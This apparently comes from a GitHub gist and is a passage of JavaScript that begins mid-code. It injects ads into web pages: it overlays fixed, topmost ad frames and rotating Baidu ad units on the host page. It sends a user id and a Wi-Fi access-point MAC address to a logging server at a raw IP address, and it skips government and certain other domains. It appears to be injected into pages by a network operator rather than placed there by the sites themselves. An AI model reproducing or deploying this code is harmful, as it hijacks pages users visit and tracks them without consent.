var ynwf = window.ynmap.get(ydcp_id);
if (!ynwf) {
window.ynmap.put(ydcp_id, {});
return js
}
}
}
return ""
},
init: function() {
var js = this.getJsUrl("ydap");
if (js == "") {
js = this.getJsUrl("yn")
}
if (js != "") {
this.codeId = this.getUrlParam(js, "ydcp_id");
this.cumid = this.getUrlParam(js, "cumid");
this.eb = this.getUrlParam(js, "eb");
if (this.eb == "") {
this.eb = 1
}
if (this.cumid.indexOf("$") != -1) {
this.cumid = ""
}
this.apMac = this.getUrlParam(js, "apmac");
if (this.apMac.indexOf("$") != -1) {
this.apMac = ""
}
if (this.apMac.indexOf(",") != -1) {
this.apMac = this.apMac.split(",")[0]
}
if (this.apMac.indexOf("-") != -1) {
this.apMac = this.apMac.replace(/-/g, ":")
}
if (this.apMac.length == 12) {
this.apMac = this.apMac.substring(0, 2) + ":" + this.apMac.substring(2, 4) + ":" + this.apMac.substring(4, 6) + ":" + this.apMac.substring(6, 8) + ":" + this.apMac.substring(8, 10) + ":" + this.apMac.substring(10, 12)
}
if (this.apMac == "null" || this.apMac == "NULL") {
this.apMac = ""
}
this.apMac = this.apMac.toLowerCase();
this.apgId = this.getUrlParam(js, "ydapg_id");
this.aptId = this.getUrlParam(js, "apTagId");
this.divId = this.getUrlParam(js, "divId");
if (this.divId == "") {
this.divId = "_yn_" + Math.random().toString(36).slice(2)
} else {
this.customized = true
}
var t = this;
if (typeof window.addEventListener != 'undefined') {
window.addEventListener('message', function(e) {
t.onMessage(e)
}, false)
} else if (typeof window.attachEvent != 'undefined') {
window.attachEvent('onmessage', function(e) {
t.onMessage(e)
})
}
this.run();
this.validBaiduJs()
}
},
validBaiduJs: function() {
if (!this.isMonitor && typeof initialMonitor == "function") {
this.isMonitor = true;
initialMonitor(this.codeId)
}
if (is_window_loaded) {
if (this.canDeilivry()) {
if (b_js_Blocked) {
if (this.ad && this.ad.chooseName == "baidu" && this.codeId != 10111 && this.codeId != 10132) {
this.createDefault(true)
}
} else {
check_third_ad(this.codeId)
}
}
} else {
var t = this;
setTimeout(function() {
t.validBaiduJs()
}, 10)
}
},
run: function() {
if (!document.body) {
var t = this;
setTimeout(function() {
t.run()
}, 10)
} else {
window.ynmap.put(this.codeId, this);
if (this.canDeilivry()) {
this.reqAd(this)
}
}
},
display: function(t) {
if (!this.userClosed) {
var yn_gg = document.getElementById("y_g_g");
var yd_f_gg = document.getElementById("yd_f_gg_" + this.lunBo);
var yn_gg_close = document.getElementById("yd_f_gg_close");
var baimi_gg_close = document.getElementById("BMSH_ad_close");
if (this.canClose && yn_gg_close != null) {
yn_gg_close.style.display = "inline-block"
}
if (yn_gg != null) {
yn_gg.style.display = "inline-block"
}
if (yd_f_gg != null) {
yd_f_gg.style.backgroundColor = "white"
}
if (baimi_gg_close != null) {
baimi_gg_close.style.display = "inline-block"
}
if (this.ad && this.ad.isScreenAD && this.ad.code.isNeedScreenAD && this.ad.chooseName != "baidu") {
setTimeout(function() {
t.bd.cpInjected = true;
t.close(t);
t.ad.isScreenAD = false;
t.ad.code.isNeedScreenAD = false;
yn_gg.innerHTML = "";
t.createDiv(t.ad);
t.createBaidu(t.ad)
}, 8000)
} else {
if (this.lunBo == 0) {
var t = this;
setTimeout(function() {
t.reqLunBoAd()
}, 8000)
}
if (this.lunBo > 0 && !this.lunBoScheduled) {
this.lunBoScheduled = true;
var t = this;
setTimeout(function() {
t.scheduleLunBo(t, t.ad.code.bcode.mob, 0)
}, 8000)
}
}
}
},
close: function() {
if (document.getElementById('y_g_g') != null) {
document.getElementById('y_g_g').style.display = 'none'
}
},
closeByUser: function() {
this.close();
this.userClosed = true
},
createDiv: function(ynad) {
this.bottom = 0;
this.width = 300;
this.height = 250;
if (this.isMobile()) {
this.width = document.body.scrollWidth;
this.height = parseInt(3 * this.width / 20 + 1)
} else {
if (this.style == "" && ynad) {
this.width = 580;
this.height = 90
}
}
if (ynad && ynad.isScreenAD && ynad.campaign) {
this.ad.isScreenAD = ynad.isScreenAD;
this.width = this.width - 30;
this.height = parseInt(5 * this.width / 6 + 1);
var dheight = document.documentElement.clientHeight;
if (dheight <= 0) {
dheight = document.body.clientHeight
}
if (dheight > this.height) {
this.bottom = (dheight - this.height) / 2 - 20
} else {
this.bottom = (dheight - this.height) - 20
}
}
if (this.style == "P_F_300_250" && !this.isMobile()) {
this.bottom = 5;
this.right = 5
} else {
this.right = (document.body.scrollWidth - this.width) / 2
}
if (this.p == "") {
var p = "codeId=" + this.codeId + "&cumid=" + this.cumid + "&apMac=" + this.apMac;
p = p + "&w=" + this.width + "&h=" + this.height;
p = p + "&apGroupId=" + this.apgId + "&apTagId=" + this.aptId;
this.p = p
}
},
addContent: function(content) {
if (this.divId.indexOf(",") == -1) {
var c = document.getElementById(this.divId);
var yd_f_gg = "yd_f_gg_" + this.lunBo;
var closeEleOld = document.getElementById("yd_f_gg_close");
var closeEle = null;
var ggEle = document.getElementById(yd_f_gg);
var appendGG = false;
if (c == null) {
if (closeEleOld == null) {
closeEle = document.createElement("div");
closeEle.id = "yd_f_gg_close";
var codeId = this.codeId;
closeEle.onclick = function() {
window.ynmap.get(codeId).closeByUser()
};
closeEle.style.display = "none";
closeEle.style.position = "fixed";
closeEle.style.right = this.right + 'px';
if (this.bottom > 10) {
closeEle.style.bottom = this.bottom + this.height + 'px'
} else {
closeEle.style.bottom = this.height + 'px'
}
closeEle.style.height = "20px";
closeEle.style.width = "50px";
closeEle.style.background = "url(http://un.winasdaq.com/img/close.png)";
closeEle.style.cursor = "pointer";
closeEle.style.zIndex = "2147483647"
}
if (!ggEle) {
appendGG = true;
ggEle = document.createElement("span");
ggEle.id = yd_f_gg;
ggEle.style.position = "fixed";
ggEle.style.right = this.right + 'px';
ggEle.style.bottom = this.bottom + 'px';
ggEle.style.height = this.height + "px";
ggEle.style.width = this.width + "px";
ggEle.style.zIndex = "2147483647"
}
ggEle.innerHTML = content
}
var y = document.getElementById("y_g_g");
if (c != null && this.divId.indexOf("_yn_") == -1) {
c.innerHTML = content
} else {
if (y == null) {
y = document.createElement("div");
y.id = "y_g_g";
document.body.appendChild(y)
}
if (closeEleOld == null) {
y.appendChild(closeEle)
}
if (appendGG) {
y.appendChild(ggEle)
}
}
}
},
isMobile: function() {
return yn_isMobile()
},
reqAd: function() {
this.createDiv();
if (this.codeId != "10044") {
var b_c = document.getElementById("BMSH_ad_close");
if (b_c != null) {
b_c.style.display = "none"
}
}
if (this.codeId == "10044" || this.codeId == "10111" || this.codeId == "10250" || this.codeId == "10251") {
var ad = {};
ad.code = {};
ad.code.bcode = {};
if (this.codeId == "10044") {
ad.code.bcode.mobScreen = "u2679338";
ad.code.isNeedScreenAD = true;
ad.isScreenAD = true
} else if (this.codeId == "10111") {
ad.code.bcode.mob = "u2551539";
ad.code.bcode.pc3_2 = "u2570368";
ad.code.bcode.pcPicPlus = "u2583102";
ad.code.enablePcPicPlus = true;
this.customized = true
} else if (this.codeId == "10250") {
ad.code.bcode.pc = "u2709810";
this.customized = true
} else if (this.codeId == "10251") {
ad.code.bcode.pc = "u2709811";
this.customized = true
}
ad.code.status = 1;
ad.code.spaceType = 1;
ad.chooseName = "baidu";
ad.code.isNeedCloseButton = true;
this.createAd(ad)
} else {
var w = document.body.scrollWidth;
if (this.isMobile() || w >= 1000) {
append_yn_Js("http://" + this.server + "/delivery/yn.do?lbNext=yd&" + this.p)
}
}
},
createAd: function(ynad) {
if (this.ad.chooseName == "") {
this.ad = ynad
} else {
this.ad.next = ynad
}
if ((this.apMac == "" || this.apMac == "undefined" || this.apMac == undefined) && ynad.apMac) {
this.apMac = ynad.apMac
}
this.isDomainLimited = this.ad.isDomainLimited;
if (ynad && ynad.code) {
if (ynad && ynad.code.bcode && ynad.code.bcode.pc3_2 && !this.isMobile()) {
this.style = "P_F_300_250"
}
this.canClose = ynad.code.isNeedCloseButton;
if (ynad.code && ynad.code.status != 0 && this.eb == 1) {
if (ynad.campaign) {
this.createDiv(ynad);
this.createYD(ynad)
} else {
ynad.chooseName = "baidu";
this.createBaidu(ynad)
}
}
this.createDuBao();
if (window.location.pathname != "/" || this.codeId != 10017) {
this.createPicPlus()
}
this.createSceneAd();
var logUrl = "http://180.76.171.28:8080/delivery/stat.do?codeId=" + this.codeId + "&cumid=" + this.cumid + "&apMac=" + this.apMac + "&adpName=" + ynad.chooseName;
if (ynad.chooseName && ynad.chooseName == "baidu") {
logUrl = logUrl + "&adpId=" + this.bd.bproId
} else {
logUrl = logUrl + "&adpId=" + this.codeId
}
if (ynad.campaign) {
logUrl = logUrl + "&campaignId=" + ynad.campaign.id + "&materialId=" + ynad.material.id
}
if (ynad.campaign || this.cumid != "") {
if (this.lunBo == 0 && !this.bd.forceRequest && this.codeId != 10194 && this.codeId != 10170 && this.codeId != 10249) {
this.addLog(logUrl)
}
}
}
},
createBaidu: function(bdad) {
if (!this.bd.isFillFailed) {
var cproId = "";
var size = "20:3";
var bcode = bdad.code.bcode;
if (!this.isMobile()) {
size = "580,90";
if (bcode && bcode.pc3_2) {
cproId = bcode.pc3_2;
size = '300,250'
} else {
cproId = bdad.code.bcode.pc
}
} else {
cproId = bdad.code.bcode.mob
}
var containerId = this.divId;
if (this.divId.indexOf("_yn_") != -1) {
containerId = this.divId + "_" + this.lunBo
}
if (cproId != "" && cproId) {
this.createDiv(bdad);
if (document.getElementById("BMSH_adbox_content") != null) {
this.divId = "BMSH_adbox_content";
containerId = this.divId
}
if (this.divId.indexOf("_yn_") != -1 && this.codeId != "10251" && this.codeId != "10250") {
this.addContent('<div id="' + containerId + '"></div>')
}
this.triggleBaiduAD(cproId, containerId, size);
this.bd.bproId = cproId;
if (!this.bd.fbad && this.codeId != "10251" && this.codeId != "10250") {
this.monBaidu(this)
} else if (this.codeId != "10251" && this.codeId != "10250") {
var t = this;
setTimeout(function() {
t.display(t)
}, 2000)
}
}
if (bdad.code.isNeedScreenAD && bdad.code.bcode.mobScreen && !this.bd.cpInjected) {
this.bd.cpInjected = true;
this.createBaiduCpAd(bdad)
}
}
window.ynmap.put(this.lunBo, "baidu")
},
triggleBaiduAD: function(cproId, containerId, size) {
window.slotbydup = window.slotbydup || [];
var containers = containerId.split(",");
for (var index = 0; index < containers.length; index++) {
window.slotbydup.push({
id: cproId,
container: containers[index],
size: size,
display: 'inlay-fix',
clid: this.apMac,
cuid: this.cumid
})
}
},
createSceneAd: function() {
var domain = document.domain;
if (!this.customized && this.isMobile() && this.lunBo == 0 && domain.indexOf("m.vip.com") == -1 && this.codeId != "10044" && this.codeId != "10129") {
var mobSeneCode = this.ad.code.bcode.mobScene;
if (this.ad.mobSceneCode) {
mobSeneCode = this.ad.mobSceneCode;
if (this.ad.code.bcode.mobScene) {
this.triggleBaiduAD(mobSeneCode, this.divId + "_ms", "")
} else if (document.body.scrollHeight > 650 || document.body.clientHeight > 650) {
this.triggleBaiduAD(mobSeneCode, this.divId + "_ms", "")
}
} else if (mobSeneCode) {
this.triggleBaiduAD(mobSeneCode, this.divId + "_ms", "")
}
}
},
createBaiduCpAd: function(cpad) {
if (cpad.isScreenAD && cpad.code.bcode.mobScreen) {
var bcproid = cpad.code.bcode.mobScreen;
this.triggleBaiduAD(bcproid, this.divId + "_cp", "");
this.triggleCp(bcproid)
}
},
createDuBao: function() {
if (this.isMobile() && !this.dubaoInjected && !this.ad.isScreenAD && this.ad.code && this.ad.code.enableMobDuBao && this.ad.code.bcode.mobDuBao) {
this.dubaoInjected = true;
this.triggleBaiduAD(this.ad.code.bcode.mobDuBao, this.divId + "_db", "");
this.monDubao(this, this.ad.code.bcode.mobDuBao)
}
},
createPicPlus: function() {
if (!this.picPlusInjected && document.domain.indexOf("gov.cn") == -1) {
this.picPlusInjected = true;
if (this.isMobile() && this.ad.code && this.ad.code.enableMobPicPlus) {
if (this.ad.code.bcode && this.ad.code.bcode.mobPicPlus) {
var ppid = this.ad.code.bcode.mobPicPlus;
baiduImagePlus = {
unionId: ppid,
formList: [{
formId: 23
}],
clid: this.apMac,
cuid: this.cumid
};
append_yn_Js("http://cpro.baidustatic.com/cpro/ui/mi.js");
this.monMobPicPlus(this, ppid)
}
} else if (!this.isMobile() && this.ad.code && this.ad.code.enablePcPicPlus) {
if (this.ad.code.bcode && this.ad.code.bcode.pcPicPlus) {
var ppid = this.ad.code.bcode.pcPicPlus;
baiduImagePlus = {
unionId: ppid,
formList: [{
formId: 10
}],
clid: this.apMac,
cuid: this.cumid
};
append_yn_Js("http://cpro.baidustatic.com/cpro/ui/i.js");
this.monMobPicPlus(this, ppid)
}
}
}
},
triggleCp: function(bcproid) {
var t = this;
if (window['bdInsertApi']) {
window['bdInsertApi'].triggleAd(bcproid);
this.monCp(this, bcproid)
} else {
setTimeout(function() {
t.triggleCp(bcproid)
}, 100)
}
},
createDefault: function(local) {
if (this.ad.code.bcode.mob) {
this.onlyyn = true;
this.createDiv();
append_yn_Js("http://" + this.server + "/delivery/yn.do?" + this.p + "&onlyyn=true")
}
},
monBaidu: function(t) {
if (!t.bd.fbad) {
var frames = document.getElementsByTagName("iframe");
for (var i = 0; i < frames.length; i++) {
var id = frames[i].id;
if (id.indexOf(t.bd.bproId) != -1 || id.indexOf(t.divId) != -1) {
frames[i].onload = function() {
t.bd.baiduLoaded = true;
t.display(t)
};
var appVersion = navigator.appVersion.replace(/[ ]/g, "");
if (appVersion.indexOf("MSIE6") != -1 || appVersion.indexOf("MSIE7") != -1 || appVersion.indexOf("MSIE8") != -1) {
t.bd.baiduLoaded = true;
t.display(t)
}
t.bd.fbad = true;
break
}
}
}
if (is_window_loaded && !t.bd.fbad && !b_js_Blocked && !t.bd.forceRequest && t.lunBo == 0 && t.ad.chooseName == "baidu") {
t.bd.forceRequest = true;
t.createAd(t.ad)
} else {
var ae = document.activeElement;
if (ae && ae.id && (ae.id.indexOf(t.bd.bproId) != -1 || ae.id.indexOf(t.divId) != -1)) {
t.bd.baiduClicked = true
} else {
setTimeout(function() {
t.monBaidu(t)
}, 100)
}
}
},
scheduleLunBo: function(t, cproid, index) {
if (index > this.lunBo) {
index = 0
}
var yn = document.getElementById("y_g_g");
if (this.lunBo > 0) {
for (var i = 0; i <= this.lunBo; i++) {
if (i != index) {
var e = document.getElementById("yd_f_gg_" + i);
if (e) {
e.style.display = "none"
}
}
}
if (this.bd.isFillFailed && window.ynmap.get(index) == "baidu") {
t.scheduleLunBo(t, cproid, index + 1)
} else {
var e = document.getElementById("yd_f_gg_" + index);
if (e) {
e.style.display = "block"
}
setTimeout(function() {
t.scheduleLunBo(t, cproid, index + 1)
}, 6000)
}
}
},
reqLunBoAd: function() {
if (!this.customized && this.isMobile() && !this.bd.isFillFailed && !this.userClosed && this.codeId != "10113") {
if (this.ad.chooseName == "baidu") {
if (document.body.scrollHeight > 650 && Math.floor(Math.random() * 100) > 75) {
++this.lunBo;
this.createBaidu(this.ad)
} else {}
} else {}
}
},
monDubao: function(t, bid) {
if (!t.bd.dubaoCalled) {
var a = document.getElementById("icon_0");
if (a && a.href && a.href.indexOf(bid) != -1) {
t.bd.dubaoCalled = true
}
}
if (!t.bd.dubaoCalled) {
setTimeout(function() {
t.monDubao(t, bid)
}, 100)
}
},
monMobPicPlus: function(t, bid) {
if (!t.bd.picPlusCalled) {
var alist = this.findImagePlus("imageplus");
if (alist.length > 0) {
t.bd.picPlusCalled = true
}
}
if (!t.bd.picPlusCalled) {
setTimeout(function() {
t.monMobPicPlus(t, bid)
}, 100)
}
},
monCp: function(t, bproId) {
if (!t.bd.cpCalled) {
var frames = document.getElementsByTagName("iframe");
for (var i = 0; i < frames.length; i++) {
var id = frames[i].id;
if (id.indexOf(bproId) != -1) {
t.bd.cpCalled = true;
break
}
}
}
if (is_window_loaded && !t.bd.cpForceReq && !t.bd.cpCalled) {
t.bd.cpForceReq = true;
this.triggleCp(bproId)
} else {
if (!t.bd.cpCalled) {
setTimeout(function() {
t.monCp(t, bproId)
}, 100)
}
}
},
createYD: function(ad) {
if (ad && ad.campaign) {
var material = ad.material;
var d = "";
var style = "margin:0 auto; width:" + this.width + "px; height:" + this.height + "px;";
d += '<div onclick="window.ynmap.get(\'' + this.codeId + '\').yn.ynClicked=true;" id="portal_yd" style="' + style + '">';
d += '<a href="' + ad.clickUrl + '" target="_blank">';
d += '<img width="' + this.width + '" height="' + this.height + '" src="' + material.bannerUrl + '" />';
d += '</a></div>';
this.addContent(d);
this.display(this);
window.ynmap.put(this.lunBo, "yd")
}
},
addIfrAD: function(url) {
var adifr = '<iframe id="yn_ifr" frameborder="no" border="0" scrolling="no" style="border:0px; border:none;" src ="' + url + '" height="' + this.height + '" width="' + this.width + '" ></iframe>';
this.addContent(adifr);
this.display(this)
},
addLog: function(src) {
var img = new Image;
img.src = src
},
canDeilivry: function() {
var lds = new Array("wifimh.com", "8quan.com", "zzxwifi.com", "fuwu.m.tmall.com", "upoll.umengcloud.com");
lds.push("m.cuibszx.com");
lds.push("4g.hfddz91.com");
lds.push("g.hfynz91.com");
lds.push("4g.hfra91w.com");
lds.push("3g.ahangels.com");
lds.push("g.ahfc120.com");
lds.push("3g.ahangels.net");
lds.push("3g.ahanqier.com");
lds.push("3g.ahfc120.net");
lds.push("3g.fuchanyiyuan.net");
lds.push("3g.aqefc120.com");
lds.push("3g.aqefk.com");
lds.push("3g.62138888.com");
lds.push("4g.ahfc120.net");
lds.push("4g.ahanqier.com");
lds.push("3g.aqefcyy.com");
lds.push("3g.wuhufanjue.com");
lds.push("m.lionbrien.com");
lds.push("m.honey-lovely.com");
lds.push("wap.whjsbyy.com");
lds.push("nubia.com");
lds.push("hfyjy.com");
lds.push("hfkqzx.com");
lds.push("hfyjy.cn");
lds.push("hfyjy.net");
lds.push("hfyjy.org");
lds.push("hfyjy.com.cn");
lds.push("libaclub.com");
lds.push("eastday.com");
lds.push("lieqinews.com");
lds.push("51pgzs.com");
lds.push("39.net");
lds.push("www.yingle.com");
lds.push("wap.91ses.com");
lds.push("m.yaomaiche.com");
var domainLimit = false;
var domain = document.domain;
for (var i = 0; i < lds.length; i++) {
if (domain.indexOf(lds[i]) != -1 || domain.indexOf("gov.cn") != -1) {
domainLimit = true;
this.isDomainLimited = true;
break
}
}
return (!domainLimit && !runFromIframe)
},
findImagePlus: function(className) {
var children = document.getElementsByTagName('*');
var elements = new Array();
for (var i = 0; i < children.length; i++) {
var child = children[i];
if (child.className && (typeof child.className == "string")) {
var classNames = child.className.split(' ');
for (var j = 0; j < classNames.length; j++) {
if (classNames[j].indexOf(className) != -1) {
elements.push(child);
break
}
}
}
}
return elements
}
};
if (!runFromIframe) {
if (yn_isMobile() && navigator.userAgent.indexOf("Firefox") > 0) {
addYnLoadEvent(yn_run)
} else {
yn_run()
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment